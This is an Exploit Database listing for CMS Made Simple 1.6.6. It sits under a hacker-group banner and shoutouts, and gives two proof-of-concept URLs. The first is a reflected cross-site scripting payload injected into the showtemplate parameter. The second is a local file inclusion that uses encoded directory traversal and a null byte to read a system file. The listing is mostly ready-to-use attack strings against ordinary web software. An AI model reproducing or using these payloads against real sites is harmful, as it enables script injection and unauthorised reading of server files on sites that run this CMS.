CMS Made Simple 1.6.6 – Multiple Vulnerabilities

• Exploit Database
• 114 阅读

• 作者： Beenu Arora
  日期： 2010-02-12
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/11424/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45

  ################################################################ # .___ _________ .___# # __| _/____ _______|| __ ____ \ _\__| _/____# #/ __ |\__\\___ \|/ // ___\//_\\/ __ |/ __ \ # # / /_/ | / __ \|| \/<\\___\\_/ \/ /_/ \___/ # # \____ |(______/__||__|_ \\_____>\_____/\_____|\____\ # #\/\/ \/ # # ___________ _________# # _/ ___\___ \_/ __ \ \/ \/ /# # \\___|| \/\___/\ / # #\___>__|\___>\/\_/# #est.2007\/\/ forum.darkc0de.com # ################################################################ # Greetz to all Darkc0de ,AI,ICW, AH Memebers # Shoutz to r45c4l,j4ckh4x0r,silic0n,smith,baltazar,d3hydr8,FB1H2S, lowlz,Eberly,Sumit, # # Author: Beenu Arora # # Home: www.BeenuArora.com # # Email : beenudel1986@gmail.com # # Share the c0de! # ################################################################ # # Exploit: Multiple Vulnerablities in cmsmadesimple # # AppSite: http://www.cmsmadesimple.com/ # # Tested Version : 1.6.6 # XSS # # POC:-http://localhost/cmsmadesimple/index.php?page=tags-in-the-core&showtemplate=false"><script>alert(&apos;XSS&apos;)</script> # # # # Multiple Local File Inclusion # # Sample URL: # POC:-http://server/cmsmadesimple/index.php?mact=News%2ccntnt01%2c%5c..%5c..%5c%5c..%5c..%5c%5c..%5c..%5c%5c..%5c..%5c%5c..%5c..%5c%5cboot.ini%00%2c0&cntnt01articleid=1&cntnt01showtemplate=false&cntnt01returnid=39 # # ################################################################